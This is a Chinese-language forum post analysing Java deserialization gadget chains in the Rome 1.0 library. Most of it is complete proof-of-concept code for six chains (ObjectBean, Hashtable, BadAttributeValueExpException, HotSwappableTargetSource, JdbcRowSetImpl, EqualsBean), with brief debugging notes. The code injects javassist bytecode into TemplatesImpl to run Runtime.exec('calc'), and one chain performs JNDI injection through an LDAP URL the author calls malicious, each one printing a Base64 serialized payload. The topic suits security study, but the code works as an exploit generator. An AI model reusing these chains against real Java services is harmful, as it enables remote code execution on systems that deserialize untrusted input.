ToB企服应用市场:ToB评测及商务社交产业平台

标题: Rome反序列化链分析 [打印本页]

作者: 去皮卡多    时间: 2024-5-16 20:27
标题: Rome反序列化链分析
环境搭建
  1. <dependencies>
  2.     <dependency>
  3.       <groupId>junit</groupId>
  4.       <artifactId>junit</artifactId>
  5.       <version>4.11</version>
  6.       <scope>test</scope>
  7.     </dependency>
  8.     <dependency>
  9.       <groupId>rome</groupId>
  10.       <artifactId>rome</artifactId>
  11.       <version>1.0</version>
  12.     </dependency>
  13.     <dependency>
  14.       <groupId>org.javassist</groupId>
  15.       <artifactId>javassist</artifactId>
  16.       <version>3.28.0-GA</version>
  17.     </dependency>
  18.   </dependencies>
复制代码
ObjectBean链

先看看调用栈:
  1. * TemplatesImpl.getOutputProperties()
  2. * ToStringBean.toString(String)
  3. * ToStringBean.toString()
  4. * EqualsBean.beanHashCode()
  5. * EqualsBean.hashCode()
  6. * HashMap<K,V>.hash(Object)
  7. * HashMap<K,V>.readObject(ObjectInputStream)
复制代码
先给出poc,然后一步步调试分析
  1. package org.example;
  2. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  4. import com.sun.syndication.feed.impl.ObjectBean;
  5. import com.sun.syndication.feed.impl.ToStringBean;
  6. import javassist.*;
  7. import javax.xml.transform.Templates;
  8. import java.io.*;
  9. import java.lang.reflect.Field;
  10. import java.util.Base64;
  11. import java.util.HashMap;
  12. import java.util.Map;
  13. public class Main {
  14.     public static ByteArrayOutputStream unSer(Map hashMap) throws IOException, ClassNotFoundException {
  15.         // 序列化
  16.         ByteArrayOutputStream bos = new ByteArrayOutputStream();
  17.         ObjectOutputStream oos = new ObjectOutputStream(bos);
  18.         oos.writeObject(hashMap);
  19.         // 反序列化
  20.         ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
  21.         ObjectInputStream ois = new ObjectInputStream(bis);
  22.         ois.readObject();
  23.         ois.close();
  24.         return bos;
  25.     }
  26.     public static void Base64Encode(ByteArrayOutputStream bos){
  27.         byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());
  28.         String s = new String(bytes);
  29.         System.out.println(s);
  30.         System.out.println(s.length());
  31.     }
  32.     public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
  33.         Field f = obj.getClass().getDeclaredField(fieldName);
  34.         f.setAccessible(true);
  35.         f.set(obj, value);
  36.     }
  37.     public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
  38.         ClassPool pool = ClassPool.getDefault();
  39.         pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  40.         CtClass ct = pool.makeClass("Cat");
  41.         String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
  42.         ct.makeClassInitializer().insertBefore(cmd);
  43.         String randomClassName = "EvilCat" + System.nanoTime();
  44.         ct.setName(randomClassName);
  45.         ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  46.         byte[][] bytes = new byte[][]{ct.toBytecode()};
  47.         TemplatesImpl templatesImpl = new TemplatesImpl();
  48.         setFieldValue(templatesImpl, "_bytecodes", bytes);
  49.         setFieldValue(templatesImpl, "_name", "a");
  50.         setFieldValue(templatesImpl, "_tfactory", null);
  51.         ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
  52.         ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
  53.         Map hashMap = new HashMap();
  54.         hashMap.put(objectBean, "x");
  55.         setFieldValue(objectBean, "_cloneableBean",null);
  56.         setFieldValue(objectBean,"_toStringBean", null);
  57.         ByteArrayOutputStream bos = unSer(hashMap);
  58.         Base64Encode(bos);
  59.     }
  60. }
复制代码
在readObject处打个断点开始调试

进入HashMap的readObject

跟进hash方法

跟进hashCode方法

来到ObjectBean的hashCode方法,_equalsBean是EqualsBean的实例对象,跟进它的beanHashCode方法

_obj是ToStringBean的实例对象,跟进它的toString方法

进入另一个有参方法toString

this._beanclass为javax.xml.transform.Templates,将它的名字传入了getPropertyDescriptors,跟进

这里就很怪了,看其它博主的调试文章说是像是fastjson的任意get,set方法调用,在hashMap进行put时会进入getPDs方法,但我经过实际调试确是没法进入这个方法,我跟进的是进入invoke,_obj是我们的TemplatesImpl的实例对象

进入invoke后,往后会调用到NativeMethodAccessorImpl的invoke方法,这里的method是Templates的getOutputProperties方法,var1是我们的TemplatesImpl对象

进入invoke0,就会调用TemplatesImpl的getOutputProperties方法,但是为什么不会弹盘算器,这是一个谜,到反序列化的时候,追踪到调用toString的时候才会触发,有师傅知道为什么,贫苦在批评区告诉一下wuwuwu
HashTable链

这条链子实际上就是在HashMap被ban的情况下进行反序列化,由于最终目的始终都是调用hashcode函数,而HashTbale中刚好调用了hashcode,因此仍然可以触发整套流程
  1. package org.example;
  2. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  4. import com.sun.syndication.feed.impl.ObjectBean;
  5. import com.sun.syndication.feed.impl.ToStringBean;
  6. import javassist.*;
  7. import javax.xml.transform.Templates;
  8. import java.io.*;
  9. import java.lang.reflect.Field;
  10. import java.util.Base64;
  11. import java.util.HashMap;
  12. import java.util.Hashtable;
  13. import java.util.Map;
  14. public class HashTable {
  15.     public static ByteArrayOutputStream unSer(Map hashMap) throws IOException, ClassNotFoundException {
  16.         // 序列化
  17.         ByteArrayOutputStream bos = new ByteArrayOutputStream();
  18.         ObjectOutputStream oos = new ObjectOutputStream(bos);
  19.         oos.writeObject(hashMap);
  20.         // 反序列化
  21.         ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
  22.         ObjectInputStream ois = new ObjectInputStream(bis);
  23.         ois.readObject();
  24.         ois.close();
  25.         return bos;
  26.     }
  27.     public static void Base64Encode(ByteArrayOutputStream bos){
  28.         byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());
  29.         String s = new String(bytes);
  30.         System.out.println(s);
  31.         System.out.println(s.length());
  32.     }
  33.     public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
  34.         Field f = obj.getClass().getDeclaredField(fieldName);
  35.         f.setAccessible(true);
  36.         f.set(obj, value);
  37.     }
  38.     public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
  39.         ClassPool pool = ClassPool.getDefault();
  40.         pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  41.         CtClass ct = pool.makeClass("Cat");
  42.         String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
  43.         ct.makeClassInitializer().insertBefore(cmd);
  44.         String randomClassName = "EvilCat" + System.nanoTime();
  45.         ct.setName(randomClassName);
  46.         ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  47.         byte[][] bytes = new byte[][]{ct.toBytecode()};
  48.         TemplatesImpl templatesImpl = new TemplatesImpl();
  49.         setFieldValue(templatesImpl, "_bytecodes", bytes);
  50.         setFieldValue(templatesImpl, "_name", "a");
  51.         setFieldValue(templatesImpl, "_tfactory", null);
  52.         ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
  53.         ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
  54.         Map hashTable = new Hashtable();
  55.         hashTable.put(objectBean, "x");
  56.         setFieldValue(objectBean, "_cloneableBean",null);
  57.         setFieldValue(objectBean,"_toStringBean", null);
  58.         ByteArrayOutputStream bos = unSer(hashTable);
  59.         Base64Encode(bos);
  60.     }
  61. }
复制代码
链子流程跟上一个一样
BadAttributeValueExpException链

这个类在CC链中我们是拿来触发toString的,他的readObject方法中有toString,因此可以直接连着Rmoe链的ToStringBean,这样也是可以触发的
  1. package org.example;
  2. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  4. import com.sun.syndication.feed.impl.ObjectBean;
  5. import com.sun.syndication.feed.impl.ToStringBean;
  6. import javassist.*;
  7. import javax.management.BadAttributeValueExpException;
  8. import javax.xml.transform.Templates;
  9. import java.io.*;
  10. import java.lang.reflect.Field;
  11. import java.util.Base64;
  12. import java.util.Hashtable;
  13. import java.util.Map;
  14. public class BadAVEE {
  15.     public static ByteArrayOutputStream unSer(Object obj) throws IOException, ClassNotFoundException {
  16.         // 序列化
  17.         ByteArrayOutputStream bos = new ByteArrayOutputStream();
  18.         ObjectOutputStream oos = new ObjectOutputStream(bos);
  19.         oos.writeObject(obj);
  20.         // 反序列化
  21.         ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
  22.         ObjectInputStream ois = new ObjectInputStream(bis);
  23.         ois.readObject();
  24.         ois.close();
  25.         return bos;
  26.     }
  27.     public static void Base64Encode(ByteArrayOutputStream bos){
  28.         byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());
  29.         String s = new String(bytes);
  30.         System.out.println(s);
  31.         System.out.println(s.length());
  32.     }
  33.     public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
  34.         Field f = obj.getClass().getDeclaredField(fieldName);
  35.         f.setAccessible(true);
  36.         f.set(obj, value);
  37.     }
  38.     public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
  39.         ClassPool pool = ClassPool.getDefault();
  40.         pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  41.         CtClass ct = pool.makeClass("Cat");
  42.         String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
  43.         ct.makeClassInitializer().insertBefore(cmd);
  44.         String randomClassName = "EvilCat" + System.nanoTime();
  45.         ct.setName(randomClassName);
  46.         ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  47.         byte[][] bytes = new byte[][]{ct.toBytecode()};
  48.         TemplatesImpl templatesImpl = new TemplatesImpl();
  49.         setFieldValue(templatesImpl, "_bytecodes", bytes);
  50.         setFieldValue(templatesImpl, "_name", "a");
  51.         setFieldValue(templatesImpl, "_tfactory", null);
  52.         ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
  53.         BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
  54.         setFieldValue(badAttributeValueExpException, "val", toStringBean);
  55.         ByteArrayOutputStream bos = unSer(badAttributeValueExpException);
  56.         Base64Encode(bos);
  57.     }
  58. }
复制代码
由于不需要hashCode了,以是hashMap和objectbean也就不需要了,直接上ToStringBean,调试流程就不写了,由于没啥太大改动
HotSwappableTargetSource链

这个类有equals方法,可以触发Xstring的toString,那么也就可以接上Rome的后半段,这里留意加个org.springframework.aop.target.HotSwappableTargetSource的依赖
  1. package org.example;
  2. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  4. import com.sun.org.apache.xpath.internal.objects.XString;
  5. import com.sun.syndication.feed.impl.ToStringBean;
  6. import javassist.*;
  7. import org.springframework.aop.target.HotSwappableTargetSource;
  8. import javax.xml.transform.Templates;
  9. import java.io.*;
  10. import java.lang.reflect.Field;
  11. import java.util.Base64;
  12. import java.util.HashMap;
  13. import java.util.Map;
  14. public class HotSwapp {
  15.     public static ByteArrayOutputStream unSer(Object obj) throws IOException, ClassNotFoundException {
  16.         // 序列化
  17.         ByteArrayOutputStream bos = new ByteArrayOutputStream();
  18.         ObjectOutputStream oos = new ObjectOutputStream(bos);
  19.         oos.writeObject(obj);
  20.         // 反序列化
  21.         ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
  22.         ObjectInputStream ois = new ObjectInputStream(bis);
  23.         ois.readObject();
  24.         ois.close();
  25.         return bos;
  26.     }
  27.     public static void Base64Encode(ByteArrayOutputStream bos){
  28.         byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());
  29.         String s = new String(bytes);
  30.         System.out.println(s);
  31.         System.out.println(s.length());
  32.     }
  33.     public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
  34.         Field f = obj.getClass().getDeclaredField(fieldName);
  35.         f.setAccessible(true);
  36.         f.set(obj, value);
  37.     }
  38.     public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
  39.         ClassPool pool = ClassPool.getDefault();
  40.         pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  41.         CtClass ct = pool.makeClass("Cat");
  42.         String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
  43.         ct.makeClassInitializer().insertBefore(cmd);
  44.         String randomClassName = "EvilCat" + System.nanoTime();
  45.         ct.setName(randomClassName);
  46.         ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  47.         byte[][] bytes = new byte[][]{ct.toBytecode()};
  48.         TemplatesImpl templatesImpl = new TemplatesImpl();
  49.         setFieldValue(templatesImpl, "_bytecodes", bytes);
  50.         setFieldValue(templatesImpl, "_name", "a");
  51.         setFieldValue(templatesImpl, "_tfactory", null);
  52.         ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
  53.         HotSwappableTargetSource h1 = new HotSwappableTargetSource(new XString("123"));
  54.         HotSwappableTargetSource h2 = new HotSwappableTargetSource(toStringBean);
  55.         HashMap<Object, Object> hashMap = new HashMap();
  56.         hashMap.put(h2, h2);
  57.         hashMap.put(h1, h1);
  58.         ByteArrayOutputStream bos = unSer(hashMap);
  59.         Base64Encode(bos);
  60.     }
  61. }
复制代码
HashMap中的putval会调用equals方法,触发HotSwappableTargetSource的equals方法


左边的target是put进去的h1,右边的target是put进去的h2,这样就会调用XString的equals方法,触发toStringBean的toString方法,链子闭合
JdbcRowSetImpl链

这个类的入口点是在一个get方法上JdbcRowSetImpl.getDatabaseMetaData(),而rome链中又可以调用任意get方法,那实在也就和TempaltesImpl链思绪是一样的,只是在不能使用TempaltesImpl时可以进行替换,这个类在Fastjson中很常见,用于JDNI注入,那么这样也是一样的进行JNDI注入,以是得留意jdk版本,不能高于jdk191,启动一个恶意LDAP服务
  1. package org.example;
  2. import com.sun.rowset.JdbcRowSetImpl;
  3. import com.sun.syndication.feed.impl.EqualsBean;
  4. import com.sun.syndication.feed.impl.ToStringBean;
  5. import javassist.*;
  6. import java.io.*;
  7. import java.lang.reflect.Field;
  8. import java.sql.SQLException;
  9. import java.util.Base64;
  10. import java.util.HashMap;
  11. public class Jdbc {
  12.     public static ByteArrayOutputStream unSer(Object obj) throws IOException, ClassNotFoundException {
  13.         // 序列化
  14.         ByteArrayOutputStream bos = new ByteArrayOutputStream();
  15.         ObjectOutputStream oos = new ObjectOutputStream(bos);
  16.         oos.writeObject(obj);
  17.         // 反序列化
  18.         ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
  19.         ObjectInputStream ois = new ObjectInputStream(bis);
  20.         ois.readObject();
  21.         ois.close();
  22.         return bos;
  23.     }
  24.     public static void Base64Encode(ByteArrayOutputStream bos){
  25.         byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());
  26.         String s = new String(bytes);
  27.         System.out.println(s);
  28.         System.out.println(s.length());
  29.     }
  30.     public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
  31.         Field f = obj.getClass().getDeclaredField(fieldName);
  32.         f.setAccessible(true);
  33.         f.set(obj, value);
  34.     }
  35.     public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, SQLException {
  36.         JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
  37.         String url = "ldap://127.0.0.1:1099/evil";
  38.         jdbcRowSet.setDataSourceName(url);
  39.         ToStringBean toStringBean=new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
  40.         EqualsBean equalsBean=new EqualsBean(ToStringBean.class,toStringBean);
  41.         HashMap<Object, Object> map = new HashMap<>();
  42.         map.put(equalsBean,"xxxxx");
  43.         ByteArrayOutputStream bos = unSer(map);
  44.         Base64Encode(bos);
  45.     }
  46. }
复制代码
EqualsBean链

通过HashSet来触发EqualsBean的equals,调用到getter,任意get方法调用触发TemplatesImpl
  1. package org.example;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import com.sun.syndication.feed.impl.EqualsBean;
  4. import javassist.ClassPool;
  5. import javassist.CtClass;
  6. import javassist.CtConstructor;
  7. import javax.xml.transform.Templates;
  8. import java.io.ByteArrayInputStream;
  9. import java.io.ByteArrayOutputStream;
  10. import java.io.ObjectInputStream;
  11. import java.io.ObjectOutputStream;
  12. import java.lang.reflect.Field;
  13. import java.util.*;
  14. /**
  15. * Hello world!
  16. *
  17. */
  18. public class App
  19. {
  20.     private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
  21.         Field f = obj.getClass().getDeclaredField(field);
  22.         f.setAccessible(true);
  23.         f.set(obj, arg);
  24.     }
  25.     public static void main( String[] args )
  26.     {
  27.         try {
  28.             ClassPool pool = ClassPool.getDefault();
  29.             CtClass ctClass = pool.makeClass("i");
  30.             CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
  31.             ctClass.setSuperclass(superClass);
  32.             CtConstructor constructor = ctClass.makeClassInitializer();
  33.             constructor.setBody("Runtime.getRuntime().exec("calc");");
  34.             byte[] bytes = ctClass.toBytecode();
  35.             TemplatesImpl templatesImpl = new TemplatesImpl();
  36.             setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
  37.             setFieldValue(templatesImpl, "_name", "a");
  38.             setFieldValue(templatesImpl, "_tfactory", null);
  39.             EqualsBean bean = new EqualsBean(String.class, "s");
  40.             HashMap map1 = new HashMap();
  41.             HashMap map2 = new HashMap();
  42.             map1.put("yy", bean);
  43.             map1.put("zZ", templatesImpl);
  44.             map2.put("zZ", bean);
  45.             map2.put("yy", templatesImpl);
  46.             HashSet table = new HashSet();
  47.             table.add(map1);
  48.             table.add(map2);
  49.             //table.put(map1, "1");
  50.             //table.put(map2, "2");
  51.             setFieldValue(bean, "_beanClass", Templates.class);
  52.             setFieldValue(bean, "_obj", templatesImpl);
  53.             unSerial(table);
  54.         } catch (Exception e) {
  55.             e.printStackTrace();
  56.         }
  57.     }
  58.     private static ByteArrayOutputStream unSerial(Object hashMap) throws Exception{
  59.         ByteArrayOutputStream bs = new ByteArrayOutputStream();
  60.         ObjectOutputStream out = new ObjectOutputStream(bs);
  61.         out.writeObject(hashMap);
  62.         ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
  63.         in.readObject();
  64.         in.close();
  65.         return bs;
  66.     }
  67.     private static void Base64Encode(ByteArrayOutputStream bs){
  68.         byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
  69.         String s = new String(encode);
  70.         System.out.println(s);
  71.         System.out.println(s.length());
  72.     }
  73. }
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4